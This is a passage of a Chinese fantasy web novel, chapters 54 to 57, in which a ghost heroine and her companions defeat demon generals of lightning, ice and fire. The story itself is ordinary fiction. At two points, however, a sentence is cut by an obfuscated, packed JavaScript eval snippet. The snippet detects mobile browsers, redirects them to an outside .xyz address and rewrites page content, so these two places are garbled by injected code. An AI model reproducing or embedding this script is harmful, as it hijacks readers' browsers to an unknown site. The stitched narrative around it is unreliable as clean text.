他瑟瑟发抖地躲到了夏月明身后,随即又做出驱赶小狗的手势,对李灵恪道:“去、去,离我们远点儿,他要劈的是你!” “啊?”李灵恪委屈巴巴地看着诅咒,身体不自觉又朝他靠近了一些。 当电球半径与雷厝的胳膊差不多长的时候,他盛满兴奋的靛蓝色眼眸缓缓向下望去,嘴角露出贪玩笑意,手心迅速下翻,将电球砸向了地面上的“小老鼠”们。一瞬间,诅咒吓得缩回了夏月明的魂体中。 李灵恪瑟瑟发抖,却仍咬着牙向前一步,挡在了面色沉重的夏月明身前。 这时,阿九正好也向前迈进,将这一人一鬼都护在了身后。 就在雷电如千军万马般汇聚而至的时刻,一道金色光芒闪过,密密麻麻的金色乌鸦如潮水般从不远处的水洼中涌出,它们齐声鸣叫着,一齐飞向天空,在阿九与同伴们的头顶形成了一道金色屏障,替他们挡住了万兆雷击。 金鸦的嘶鸣很快被震耳欲聋的轰鸣声覆盖,金色天幕也瞬时变成了耀眼的深蓝色,将整个天空映得通亮。 这一次,雷击没有像之前一样击碎金鸦,再冲他们而来。 因为阿九提前按照夏月明的提示,将金鸦在水洼中浸满了水。 冲他们而来的雷电,全部被金鸦屏障上构建的水幕吸住,甚至连旁边范围的雷电也都被吸引过来了。 雷电在金色羽毛铺成的水幕中游走、跳跃,形成一张瑰丽绚烂的电网,将原本破坏性极强的电流渐渐稀释和减缓。 从下方看去,这奇幻的光景就像星光闪烁的银河一般浪漫。 只是空气中弥漫着似血般的金属气味,将这浪漫拽入了残酷的现实之中。 金鸦与雷电交互时的能量冲突与压力完全施加在了操控金鸦的阿九身上。 他紧皱眉头,面容扭曲,青筋暴起,细小的青色电流在他身上不断游走,电流经过的皮肤瞬间出现了烧焦和破损的痕迹。 虽然身体不受控地开始颤抖,但他的眼神始终坚定冷静,他深呼吸,试图保持内心的平衡与能量的掌控,以将电流控制在自己的身体之上,避免伤及伙伴。 尽管他已痛得快要失去理智。 夏月明双眼通红,她很想帮他承受一些痛苦,却深感自己的无能为力,只能认真再认真地透支所有注意力,来掌握场内的一切变化,抓住每一个关键的反击节点。 下一步的关键是符咒,没有生灵之力的她将一切希望寄托在了李灵恪身上。 虽然内心焦急万分,她却不敢出声催促,怕影响到他。 幸而李灵恪也未有分毫耽搁,在阿九的承受能力到达极限之前,他终于完美地画好了七张反弹符。 前后未到五秒,他也在超越着自己的极限。 符咒一成,夏月明来不及解释,立刻对着阿九高声喊道:“还给他!” 虽然没有过多沟通,但阿九瞬间就明白了她的意思。 他将全身最后的气力凝聚在掌心之间,振臂一抬,悬于上空的金电屏障便立刻射出,直奔雷厝所在的位置,将他团团包围。 强大的魔将冷哼一声,并未将“小老鼠”们的把戏放在眼里,他缓缓抬起掌心,释放出更为强大的雷电能量,试图击碎屏障。 可不管他如何释放,在七张反弹符的加持下,雷电仅是在屏障内游走,并未渗出半分。 渐渐的,屏障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866779|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的电场能量愈发强大,令雷厝也无法忽视。 这下他开始慌了。 看着雷厝惊慌扭曲的表情,夏月明莫名觉得此时的金鸦屏障,就像一个高压锅一般,雷厝就像高压锅里的大肘子。 不过雷厝的痛苦仅持续了不到半分钟,很快他就适应了里面的电压,神情变得戏谑起来。 “呵,愚蠢凡物,竟妄想困住魔将。接下来,该我出招了。” 说罢,他再次释放出强大电能。 众鬼大惊。 以为是高压锅,没想到对他来说仅是蒸桑拿的程度。 突如其来的剧痛令阿九忍不住痛呼一声,金鸦屏障的光芒也不再稳定,随时有被电力撑破的风险。 眼看一切都到了极限,夏月明抓住时机,对阿九道:“阿九,带上飞刀,尽全力!” “嗯。”阿九气息微弱,几不可闻地应了一声,随后集中最后的能量,唤出了最后一只金鸦。 第一万只金鸦从潜伏已久的水洼中飞出,嘴里叼着先前夏月明引雷时掉入水洼的飞刀,迅速朝着雷厝飞去,很快便融入了金鸦屏障之中。 飞刀在屏障内继续向前,在屏障被不断膨胀的能量撑破的前一秒,狠狠刺入了雷厝的胸膛。 时间把控得刚刚好。 雷厝不屑的神情没能维持过半秒,便被痛苦取代了。 凡物伤不了他,但这是神器。 霎时间,屏障内积蓄的所有电能全部汇集于导电性能良好的飞刀之上,巨大电流顺着被飞刀破开的口子,瞬间占领了这位魔将强大的身体。 原本封闭的身体内部的电荷平衡被强大电流彻底打破,电流激荡着他的每一根神经,每一寸灵魂,如同千万只蚂蚁在他的身体中涌动,又像是失控的野马在狂暴奔腾。 他剧烈地颤抖着,面容扭曲,试图像从前一样轻易地操控电流,但这一瞬间涌入的电流不多不少,恰好超出了他的控制范围,他被自己强大的能量反噬了。 夏月明见状松了口气。诅咒于她身侧现身,没有过多神情,只是望着将要坠落的魔将,淡淡地骂了句:“疯子。” 虽然嘴上在骂,面上也尽是不屑和冷漠,但他不自觉伸出的手还是出卖了他的心意。 他默默扶住夏月明摇晃的身体,内心不自觉对她佩服起来。 这疯子,是在怎样强大的意志力之下,才能将时机算得这样刚刚好。 若她刚刚早示意阿九半秒钟,或许金鸦屏障内储存的电能就不足以击溃雷厝了。 若再晚半秒钟,金鸦屏障破裂,他们更是输得惨烈。 可就是这样容错率几乎为零的情形之下,她硬是从千万种惨败的结局之中,为他们抓住了这丝微弱的胜机,甚至连自己说出指令到阿九执行的间隙也计算在内了。 真是不可思议。 他从前寄宿在她体内时,为何没察觉她有如此潜力呢? 一声凄厉的嘶吼之后,雷厝的身体不再颤抖,如断线的风筝般坠落在地,电芒四散,化为一片焦黑。 金鸦屏障也在完成使命后化作点点萤火,消散而去。 刚从大脑“cpu”过载的眩晕中缓和过来的夏月明和李灵恪同时上前,扶住了阿九摇摇欲坠的身体。雷电在他身上留下了难以磨灭的烧伤纹路,为此耗尽气力的他却对夏月明挤出了一抹笑意。 他已无力言语,但她从他的眼眸中看到了骄傲和满足,于是她弯起眼睛,挤出一抹笑来回应着他,颗颗泪珠顺着她的脸颊,掉落在他被电烧伤的皮肤上。 这微不足道的凉意,使他被剧痛包裹的身体得到了一丝细如毫雨的慰藉。 55. 少年的祈愿 苍弭悬立于金殿之上,静静望着西方的弱小灵魂,金色神眸中泛起几分疑惑。 他们没有说话,只是互相看着对方,「神之眼」也未曾捕捉到任何信息传递的痕迹,可他能感觉到,他们的情绪在彼此交织着。 这便是人间所谓的“默契”吗? 旁观的魔神竟在自己的内心中,察觉到了一种陌生却又不完全陌生的情绪。 嫉妒。 他嫉妒他们。 嫉妒那个被电焦的紫衣男鬼。 老鼠怎能妄图和家猫做朋友呢? 他凭什么可以得到她的默契?明明他才是她的主人,书上说,主人是宠物的唯一。 可他一切都是照着书上所说去做的,为何她没按书上说的去做? 去依赖他、去取悦他、去爱他,并渴望着他的爱…… 为何,不能照做呢? 金曈中的情绪逐渐复杂起来,魔神身上的神光也逐渐黯然。 …… 金殿西侧,夏月明稍作歇缓后站起身来,举目朝着金殿的东南方望去。 在一片赤色火光中,她未能看到小白的身影,内心便愈发担忧起来。 这时,刚刚背起阿九的李灵恪忍不住惊喊了一声:“快跑!” 她顺着他的目光朝金殿西南侧望去,看到仓皇逃跑的依依被凛啸冻住双脚,跌倒在地。 紧随而来的冰晶朝着依依脑后射去,幸而宁渊及时赶到,长剑一挥,将冰晶打偏在地。 半个胳膊长的冰晶几乎三分之二都刺入了土地之中。 宁渊不敢犹豫,直接将依依扛在肩上,朝着远离凛啸的方向逃去。 “我们快去帮他们!”李灵恪并不知夏月明的忧心,背着阿九便朝自己的伙伴跑去。 夏月明静下心来,感应到小白的存在,这才咬牙跟在李灵恪身后,先去救依依了。 她边跑边喊:“李灵恪,你等一下……” …… 金殿西南,魔将凛啸穿着一身帅气的冰晶铠甲,气场凛冽,表情也似被冻住般冷漠单调,不急不缓地跟在猎物身后,游刃有余地将他们逼到死路。 脚上的冰块使依依变重了十倍,负重前行的宁渊只能改变闷头逃跑的策略,挥起剑来与凛啸的冰箭对抗。 虽有真气加持,但他手上的剑却先于他撑不住了,在劈开第七道冰箭后,剑身直接碎成两半。 但持剑的少年并未放弃,他物尽其用,立刻拾起掉落的剑尖狠狠射向了凛啸。 剑尖在距离凛啸眉间不到一寸的距离时被冻成冰晶,随即坠落在地面上。 冰冷的魔神没想到凡人会有如此胆量,若有所思地看了眼剑尖,随即抬脚一踢,将冻成冰晶的剑尖射向了它的主人。 宁渊以短剑抵挡,却因剑身太短,被冰晶擦伤了手背,鲜红的血液从他手背渗出,血珠如断裂的红玛瑙手串般颗颗坠地。 没有时间止血,他只能扛着依依,闷头朝着岛屿的尽头跑去,直到体力耗尽,再也跑不动为止。 这时他将依依从肩上放下,歉疚地道了声:“抱歉,得罪了。” 而后他将她抱在怀中,试图以自己的血肉之躯,来帮她抵挡身后冰冷的寒箭。 自觉当了累赘的依依连连摇头,她在慌乱中想起姥姥曾教自己的法术,于是小声地将那句“抱歉,得罪了”还给了这位护在自己身前的白净少年。 魔将没有心慈手软,接二连三的冰箭冲着无力躲避的少年发射而来,一根一根从背部刺入少年的血肉,又贯穿至他的身前。 鲜红的血液喷溅在少女惨白的脸上,她却扬起嘴角,露出欣然笑意。 “成功了……” 被冰箭贯穿了身体的少年竟并未死去,甚至连身上血液也在冰箭的冷却作用下加速了凝结。 他不可思议地皱起眉来望着眼前少女,“你救了我?” “嗯。”依依笑着点头,有些难为情地解释道:“姥姥教过我怎么转移人体内的脏器……本是要我做坏事的,没想到……咳咳,竟能救人。” 脚上冰块本就不断吸收着她的能量,加上刚才的施法,少女的身体也愈发脆弱。 少年抬起头来望向发白的天空,而后抱起少女,咬着牙缓缓站了起来。 他在心里轻声问道:“师父,这天地间,弱者总会这样无奈吗?” 他想活下去,想让怀中这女鬼也“活”下去;想让自己的伙伴活下去;想让为了帮助他们而犯险进入此地的鬼魂们“活”下去…… 可是他是如此渺小,如此软弱,他要如何做到呢? 向上苍许愿吗? 不…… 耗尽气力的少年抱着少女,凭借着最后的意志力,一步一步向前行去。 前方或许并非生路,可这是他现在唯一能做的了。 少女在他怀中极力思索着求生的办法,结果却是看到脑海中的道道生门对她关上,最后,她听见肉身逐渐变得与她同样冰冷的少年轻声的呢喃: “师父,宁渊想变强。” “但愿……还有机会。” …… 夏月明与李灵恪气喘吁吁赶来之时,正好看到勉力撑起身体、行走了最后几步的少年停下脚步,缓缓跪在了地上。 素白衣衫被鲜血染成了刺眼的红色,李灵恪放下阿九,哭喊着朝自己的同伴飞奔过去。 他是他们这一届轻功最好的辑灵使,所以方才他和夏月明拼了命跑也没能追上想要带着依依逃命的他。 直到他被冰箭刺中,脚步变慢,他们这才赶上。 看到伙伴关切的面庞近在眼前,宁渊对他挤出一个惨淡的笑来,随后低头看向了怀中的依依。 李灵恪明白他的意思,眼前还有需要他保护的朋友。 于是他不再哭泣,抹干眼泪,像个男子汉一样将虚弱的少女抱了起来。 宁渊终于放下心来,神情松懈了几分,显得有些疲惫。 这时,他听到刚被李灵恪背起的依依扭过头来,对他轻声道:“我也……想变强。” 少年眼睫微动,唇角扬起,眼眶湿润地点了下头,在回答少女,也在回答自己。 一定会的。 眼见半只脚踏入鬼门关的少年身残志坚,抓着同伴的胳膊勉力站起身来,在场最为健全的诅咒下意识咽了口口水,悄悄朝后退了半步。 果然,下一秒,四双眼睛齐齐朝他看了过来。 诅咒慌了:“你们看着我干嘛?你们、你们这是道德绑架,知不知道?” 他们什么也没说,却又好像说了很多。 短暂而无声的对峙中,诅咒终于败下阵来。 “好吧、好吧……你们给我记着!不过我可不抱男的,换一下。” 他不情愿且有原则地从地上将阿九拎起,而后接过李灵恪怀中的依依,把阿九扔了过 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铺天盖地的风暴瞬间朝着夏月明他们席卷而来,无一幸免。 但风暴散去后,冰冷又傲慢的魔将凛啸忍不住懵然地眨了两下眼睛。 眼前的艺术品,比他预想的还要伟大。 他本已被那女鬼封印的六位神将同事,竟以六种各不相同的神态,透过晶莹剔透的冰块瞪大眼睛将他望着。 他这才后知后觉自己被利用了。 在他释放冰冻能量的瞬间,那狡猾的女鬼竟然直接解除了照片的封印。 刚被从照片中释放出来的六位神将,就这样直白地暴露在了强大的风雪之中,替他们挡住了他的致命一击。 可恶,可恶可恶可恶! 冰冷的魔将气到极点,正欲发怒之时却又抓住了一个疑点。 她如此狡猾,难道不知自己可以帮同事们解冻吗? 等等,难道她是想…… 未待他揭下真相的面纱,便听见不远处的夏月明对他喊了声:“看这边——茄子!” 强光一闪,他的视线骤然变得狭隘,他终于意识到了她的意图,可惜为时已晚。 这时「神之眼」再次察觉到夏月明和李灵恪的灵魂跳跃了一下。 在金殿上空观望的苍弭总算知道为什么夏月明在赶去救人之前,还要浪费时间叫住李灵恪,与他互换灵魂了。 她要借助他的身体做阵,在关键时刻释放神将,好将相纸清空,给凛啸腾位置。 宁渊和依依都对自己的伙伴很熟悉,也知道他们会用移魂之术,因而刚才并未因为他们的外形而认错。 只有凛啸受伤的世界达成了。 不,还有他的六位怨种同事。 他们方才承受的,是凛啸最为得意的大招,即便在阳光的照射下也可以万年不化。 可怜的神将们刚刚在自由的边缘游走了还不到一秒,就从一种艺术品(照片),变成了另一种更为宏大的艺术品(冰雕)。 夏月明拿起相纸看向凛啸终于不再冷漠的脸,上面承载着由三分惊讶、三分愤怒、三分恍然,还有一分愧疚组成的、像饼状图一样完美配比的表情。 诅咒忍不住嗤笑出声。 “嗯……这怎么不算是“伟大的作品”呢?” 56. 魂火相息 爱凑热闹的李灵恪也笑嘻嘻地背着阿九、扶着宁渊,一同赶来欣赏“艺术”。 “宁渊,这段儿也有意思,回头一同讲给闵大人听。” “嗯。”宁渊扯了扯已无血色的嘴角,勉强地对他点了下头。 在他背上奄奄一息的阿九却似回光返照般,对他露出十分赞许的目光。 仿佛在说:“有品位!” 便在此时,拿着照片的夏月明突然像冰雕融化般软倒在地。 众人神色惊惶,立刻蹲下身来关切查看。 诅咒一只手拖住怀中的依依,另一只手急切地拍了拍夏月明的肩膀。 “喂,碰瓷儿是吧?别以为装死就能消费老子的爱心!我可不是交通工具,最多只扛一个!” 虽然语气毫不客气,但他手上的力道却控制得小心翼翼。 见夏月明没有醒来的迹象,他的神色开始慌乱,故作不耐烦地催促道:“快醒醒,你这样很不雅观。” 被他挤在怀中的依依也艰难地伸出手来,轻轻拽了拽夏月明的袖子,焦急地呼唤着她。 李灵恪等人亦是心头一紧。 李灵恪将阿九放在身侧,关切地伸出手去探夏月明鼻息,随即神色大悲,脸色煞白,喃喃道:“没有气息了……” 宁渊听罢神色骇然,一时忘了身上痛楚,朝夏月明爬近了些,而后抓起她的手腕去验证脉搏。 指间冰凉的触感令他的的心也如坠冰窟,他神色悲恸,对上李灵恪茫然失神的目光,难以置信地轻轻摇头。 蹲在一旁的诅咒闻言已将银牙咬得咯吱作响,终于忍无可忍,捏起拳头冲着两位悲痛少年咆哮道:“有病吧你们!她是鬼啊!有鼻息和脉搏才怪了吧?!” 两位少年同时愣住,一脸懵然地眨了两下眼睛后才恍然大悟,红着脸齐声道:“对哦。” 然后在旁观众鬼意味深长的目光中,尴尬地低下了头。 “那她……” 鬼魂虽然也有类似鼻息、心跳的象征,但一般不会被生人察觉到。 而且即便失去了鼻息和心跳,也不意味着他们的“死”,只有魂体的消散才能代表鬼魂的“死去”。 “我真是受不了你们这些蠢货。”诅咒气呼呼地朝他们翻了个白眼,而后低下头来,认真查看起夏月明的状态。 看到她的手仍紧紧捏着封印凛啸的相纸,他愣怔一瞬,松了口气,而后又不自觉皱起眉来。 他神色复杂地冷哼了一声,却始终说不出平日里信手拈来的讥讽,只好面色肃然地叹了口气,哑声道:“她睡着了。” “睡着了?” “嗯。虽然鬼不需要睡觉,现在也不是睡觉的时候,但她太累了。” “……” 众人皆是哑然,神色间皆不自觉透露出心疼与愧疚。 自进入千魔窟之后,她便没有一刻停歇地为他们的生存而筹谋着,面面俱到,毫无懈怠。 若他们能更强大一点,哪怕只是一点点,也不至于让她如此疲累…… 这时,昏倒在地的夏月明终于从一片混沌的脑海中找回了一丝清明。 她努力想睁开眼睛回应伙伴们的关切,却无奈眼皮过于沉重,只能先动了下眉头。 不久前还仅是一缕残魂的她,在经历了极限的逃生和思考之后、大脑与魂体持续过载,终于不堪重负地双双罢了工。 醒不过来,她索性就这样躺着了,当前形势不允许她停摆,能休息一会儿是一会儿。 他的伙伴们也默契地不再言语,安置好伤者后,便安静地围着她坐下,开始打坐休整。 静下来,其他区域的动静便不请自来,更加清晰地传入耳中。 夏月明听到了小草稚嫩的哭喊,听到了业灾邪气的大笑,却唯独听不见金乌和小白的声音。 自从和小白的心音觉醒之后,她的心里便燃起了一簇青色火苗,就在刚才她被疲惫压垮,想隔绝一切就这样在混沌中沉睡下去之时,她感应到那火苗熄灭了一下,于是她拼命挣扎,从混沌的深海中找回了与现实的联结。 恰在那刻,那火苗又重新出现,甚至还猛蹿了一下。 虽然没有凭证,但此刻她十分确信那火苗就代表着小白。 他正在死亡边缘努力挣扎着,随时有消散的风险…… 不能再拖了。 尽管体力已经透支,她的思绪仍在疾驰。 先是捋清现状,提取出有利因素和不利因素,而后思索如何利用有限的有利因素去躲避、化解无限的不利因素。 种种方案如同电脑程序启动时飞速运行的代码一般从她脑海中闪过,又被她一一否定,头痛欲裂却无暇感知,只能把自己当成一个没有知觉、只会思考,且必须想出办法的工具一般。 一分钟后,她睁开了眼睛。 神情疲惫不堪,目光却比先前更为冷静沉着。 她保持原来的姿势躺在地上,自语一般望着天空开口道:“凛啸的冰可以用金乌的火来解决。” 微弱的声音第一时间清晰地传到了身旁伙伴们的耳中,大家齐齐睁开眼睛,关切地朝她看来,知道形势紧迫而她亦无余力,他们没有寒暄,各个神色严肃,静待着她的指示。 “万咒之皇,麻烦你帮忙背一下依依,我们一起去帮小白。” 素来叛逆的诅咒控制住因被她指挥而生出的厌烦,很不情愿地“嗯”了一声。 “谢谢。”夏月明继续道:“宁渊、阿九伤得太深,必须在这里调养一下。有赌约在前,这里暂时安全。” 虽然很想和伙伴们并肩战斗,但宁渊和阿九知道,当下不是意气用事的时刻,便一同点头应声。 阿九道:“若有需要,可随时唤我。” 宁渊急忙附和:“还有我。” “嗯。”夏月明扯起嘴角微笑了一下,又道:“灵恪,麻烦你去帮小婵和阿浅,业灾的能力是释放疫病,如果在生物学范畴的话……大多数病毒和细菌都害怕超高温或超低温……但既然是魔将,他的法术就没有这么容易破解,所以不求靠这个打败他,只要能拖延时间就好。” 她一口气说了太多话,忍不住咳嗽了几下。 李灵恪双眼泛红,对她重重点头,哽咽着应了声:“嗯。” “至于小草……”夏月明眉头轻蹙,歉然 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夏月明知道这是这个大傲娇能做到的最直白的邀请,便不同他扭捏,道了声谢后伸手勾住他的脖子,被他揽入怀中,一齐朝着小白的方位前进。 在原地打坐修养的宁渊默然扭头,望向他们离去的背影。 刚才的一瞬,他忽而想起了自己的师父。 那时他刚进入缉灵司不久,在师父的过分青睐与自己的自卑间挣扎了许久后,第一次对师父袒露了心扉。 于是这位并未比他年长几岁的青年,对他露出与旁人皆不同的温润笑意,语重心长地对他道: “宁渊,这世间,比卑贱的出身和被剥夺的天赋更令人痛苦的事还有很多,若以此为由止步不前,便注定要以弱者的姿态活着了。” 彼时的他对这句略显虚浮的道理仅是生出了几分振奋与感动,可是方才那一刻,看着面前魂力微弱却面容坚毅的女子,他忽而找到了更为真切的情绪,来回应师父的这句话。 他屏气凝神,调理真气,年轻的面容上多了几分与年龄不符的坚定和稳重。 …… 金殿东南,被金乌魔焰追击的小白拼尽最后一丝力气,终于逃到了湖边,他纵身一跃,跳入水中。 片刻的清凉却并未如他预想中一般,成为对抗魔焰的护盾,而是在魔焰到来的瞬间沸腾起来,化为了大片大片的水蒸气。 滚烫的水蒸汽令他痛到晕厥,像被千万根针同时扎穿皮肤一般。 他却始终紧咬牙关,不肯痛呼出声,怕夏月明因担心他而分了神。 在水蒸气终于消散之后,他的魂识也几乎要跟着散去了。 金乌看向躺在被烧干的湖中央的脆弱灵魂,眼神中透着失望与怜悯。 方才看他在魔焰中挣扎许久,她还以为他与其他魂魄不同呢。 便在她转身要去对付其他魂魄之际,昏厥的小白突然感受到主人微弱的魂火快要熄灭,他猛然又睁开了血红的双目,撑起破败的身子站了起来。 “喂,爱玩火的,你的对手是我。别分心啊,我可不想占女人便宜。” 57. 魂身重塑 金乌闻言惊讶转身,看向湖中心满身破败的白衣男鬼,除了神情之外,他没有一处不算落魄。 可他却是那样闪闪发光,神采飞扬。 连声音都带着几分与身体格格不入的嚣张跋扈。 她黯淡的双眸又因他而亮了起来,脸上也再度出现期许,言辞热切地对他道:“放弃那个女鬼,做我的恋鬼,你将成为鬼上之鬼,再也没有谁能让你承受刚才的痛苦,如何?” 小白听罢不屑地冷哼了声,讥诮道:“看来你很不会做生意啊。交易要双方价值相当,才有讨价还价的余地。你用石子儿换明珠,还自以为亮出了不错的筹码,可笑得很。不如花钱找个老师学一学?我的主人就很擅长做生意,跟着她,有肉吃。” 说最后一句时,他神色间又透出一股难掩的骄傲,气得金乌火气更盛,猩红烈焰从她身上蔓延而出,将她整个身体包裹起来,炽热又夺目。 她轻蔑地垂眸,俯视着弱小的他,以同样嘲讽的比喻回击道:“不过是藏在路边粪堆里的一块尚算能用的木炭罢了,本将怜悯你,让你做本将的燃料,你却不懂得珍惜,还口出狂言,真是敬酒不吃吃罚酒!” 话音刚落,她抬手御火,凶猛的火龙便自她掌心飞出,直朝小白而去。 面对命运最后的裁决,小白惋惜地叹了口气。 他将全身能量汇集于双掌之间,让最后的青焰化作一只青色火鸟,带着他,奋不顾身地冲向了巨大的火龙。 接触瞬间,火鸟破碎,巨龙将小白破败的魂体吞入腹中。 与预想的一样,他输得很彻底。 金乌冷漠抬手,欲将火龙收回之时,「神之眼」感应到了凛啸的落败,她并未立刻去支援,反而心生一计,微笑着望向了同伴落败的方向。 夏月明赶来之时,小白被火龙包裹的大部分魂体已经消散了,仅存的胸膛以上的部分,也正不断被灼烧成细灰,消散在龙体之中。 金乌高悬于天,饶有兴味地看着渺小悲痛的夏月明。 她神色惊惶,鼓起勇气伸手探向火龙,手臂瞬间被灼烧得破败不堪。只能惶然无措地看向恋鬼逐渐消失的魂体,如热锅上的蚂蚁一般焦灼。 弱小、可怜、无助。 “恋鬼,你看看,这就是你引以为傲的主人,她眼睁睁看着你灰飞烟灭,却一点儿办法也没有。如何?现在后悔的话……求求我还来得及。” 她笑着看向小白,可后者已经失去意识,无法给她回应。 兀自惋惜地叹了口气后,她扭头就看到夏月明一边痛哭,一边抬起依依被冻住的脚,伸向了火龙。 片刻后,双脚解冻,恢复自由。 “嗯?”这操作直接给金乌整懵了。 都这种时候了,她竟还不忘利用自己,真可恶啊。 金乌气呼呼地朝夏月明飞近了些,阴阳怪气道:“看来你根本不担心你的恋鬼,亏他为了你放弃了唯一的求生机会。” “我会救他的。”夏月明眉头紧拧,语气坚定。被灼伤的手臂和头一样刺痛,她从袖带中拿出五张黄符来,吃力地对依依道:“依依,我教你画符。” 依依是半鬼,在林蔓的回忆中,她也是有生灵之力的。 “嗯?”依依虽有疑惑,却立刻点头应道:“嗯!” 她打起十二分的精神,学着夏月明的手势捏起诀来。 随即五张镇火符齐齐朝火龙飞去,但符纸还未靠近,便全被烧得灰也不剩。 金乌欣赏着夏月明惊愕慌乱的表情,忍不住大笑出声。 “哈哈哈哈哈,真是不自量力啊,此乃曦焰,日轮之火,凡物怎可镇住?” 夏月明神色一愣,喃喃道:“日轮之火?” 她曾听过这个词的。 她抬头望向被困火龙中仅余一息的残破魂体,深吸一口气后,神情肃然而坚定地凌空一跃,冲向炽热的焰火之中。 灼热的痛感瞬间将整个魂体包裹,自眼耳口鼻向魂体内侵袭,似将意识也烧成一片火海。 剧痛之下,夏月明的魂体也开始逐渐残破,火焰在她身上不同的位置烧出一个个小洞,而后逐渐扩大。 她的表情痛苦极了,动作却未有迟疑和逃避,继续坚定地、用力地挥动双臂游向小白。 而后用残破的魂体,抱住了他更为残破的魂体。 他说过,恋鬼受伤,只需主人的爱抚便可自愈。 她第一次这样庆幸他是自己的恋鬼。 诅咒双眼猩红怒瞪着夏月明,忍不住破口咒骂起来:“nnd!你逞什么英雄啊!想死别连累老子啊!” 他被带夏月明来这个世界的强大鬼魂绑定在了夏月明的魂体上,她如果消散了,他也会跟着玩完儿。 在他身侧的依依更是焦急,她也想冲进去救姥姥,可魂体根本无法靠近那火龙。 恋鬼的契约果然特别,在夏月明拥抱小白的一瞬,他的魂体便不再化灰而散,竟渐渐地在烈焰中不断生出新的魂体,如浴火涅槃的火凤一般。 “真是神奇。”金乌忍不住赞叹。 但更为神奇的还在后面,不久后,敌我双方都意识到一个不太对劲的地方—— 按曦焰的灼烧程度,本该早就被烧得灰飞烟灭的夏月明竟除了魂体破烂之外,不再有其他损伤,坚毅地存在于火龙之中。 “为何?主人对恋鬼的治愈明明是单向的啊。” 金乌大惑不解,诅咒和依依亦然。 忽然诅咒意识到了什么,他忍不住恍然大悟般“哦”了一声,随即神情变得气笑不得。 气她行事突然,总要连累自己,笑她虽然莽撞,却也算惜命,只在有筹码的时候才会莽撞。 先前夏月明曾问过黑白无常:“为何白天唤你们,就只是语音通话,晚上唤,才会立刻现身?” 白无常告诉夏月明:“虽然神魂不会被日轮之火烧化,但神魂等级太低,该有的痛感也一点儿不会少,当然,我们等级可不算低……不过在太阳底下办公太久,也是会头晕眼花的。” 定是因此,夏月明才在听到金乌说起火龙是“日轮之火”所化之时,毫不犹豫冲进了火海。 她曾被阎王注入过神魂之力,虽然微弱到仅可保住魂息,却不妨碍她以此为筹码,冲进火海去为小白冒一次险。 可气的是,她又一次赌赢了。 更可气的是,他虽然希望她摔个跟头吃点教训以后做事收敛一点,别总整这些让他心率过快的极限操作,却不得不帮她祈祷,因为他们命运与共。 待小白的魂体完全重塑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866782|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,他的魂识也终于清醒了过来。 在主人的关切拥抱中浴火而生的新魂体,竟不再被烈焰灼伤,也未感到刺痛,以至于自以为已经消散的他恍惚了片刻,才反应过来自己仍在曦焰之中。 随即他便看到了魂体斑驳、破败不堪却仍紧紧抱着自己的夏月明。 她的魂识已被痛到模糊,虽能感觉到小白的苏醒,却无法做出任何回应。 刹那间小白便知发生了什么,感激与愧疚同时来到,他鼻头一酸,抑制住内心汹涌而来的悲痛和心疼,横抱起她冲出了曦焰之龙。 突如其来的变故令金乌恼羞成怒,“看来是本将低估了你们。” 她彻底认真起来,挥动双手唤出紫色火焰,注入焰龙体内。 火红长龙变成更为强壮的紫焰之龙,朝一众渺小灵魂呼啸而来。 “是魔焰,快跑!” 魔焰比曦焰威力更强,他的新魂体也招架不住。 重获新生的小白身轻如燕,抱着夏月明迅速飞跃至远处空地,他很自然地以为诅咒会抱着依依离开,没想到惜命的诅咒跑得比他还快。 眼看焰龙就要吞噬依依,小白半蹲下来以膝盖撑住夏月明的魂体,腾出一只手来聚起焰球,直朝金乌砸去。 同时冲诅咒喊道:“救她!” 他知晓自己的青焰在焰龙面前不堪一击,只能以攻代防,分散金乌的注意力。 万万没想到诅咒并未配合他去救依依,在焰龙冲过来的瞬间仓皇趴下的依依被紫色龙爪灼伤了整个后背,后半部分的魂体全部化为飞灰消散了。 幸而那一瞬间金乌分了神,不然消散的就不止半个魂体了。 而金乌分神的原因,并非担心小白的焰球伤到自己,而是那一瞬间,小白扔出的焰球并非从前的微弱青焰,竟变成了更为奇特明亮的粉红色火焰。 青焰无法靠近她,粉焰却可以。 气息奄奄的夏月明撑着小白的胳膊站起身来,抬起头将他明媚的面容映在清澈的眼眸之中,“火焰变成了粉色?” “嗯。”小白低头莞尔,柔声道:“主人,我在您的爱意中重生,觉醒了比青焰更为纯粹炽热的火焰,其名为——爱之火。” “呸,真恶心!”诅咒忍不住抱住自己的胸膛搓了搓胳膊,一副鸡皮疙瘩掉一地的难受样子。 无人有闲心同他顶嘴,夏月明看了眼趴在地上痛苦不堪的依依,扭头望向诅咒,对小白道:“小白,保护好依依,不用管我,他会救我的。” 她深知他是邪恶的诅咒,不是爱心泛滥的天使,不论一同经历了什么,整座千魔窟中,他也只在意她的性命,因为他们同命相连。 小白知她意图,犹豫片刻后严肃点头,应声道:“是。” 便在他飞身去救依依之时,焰龙并未急于去给依依补刀,而是冲向了形单影只的夏月明。 他仓惶回头,就见一团黑影从紫色焰龙前方掠过。 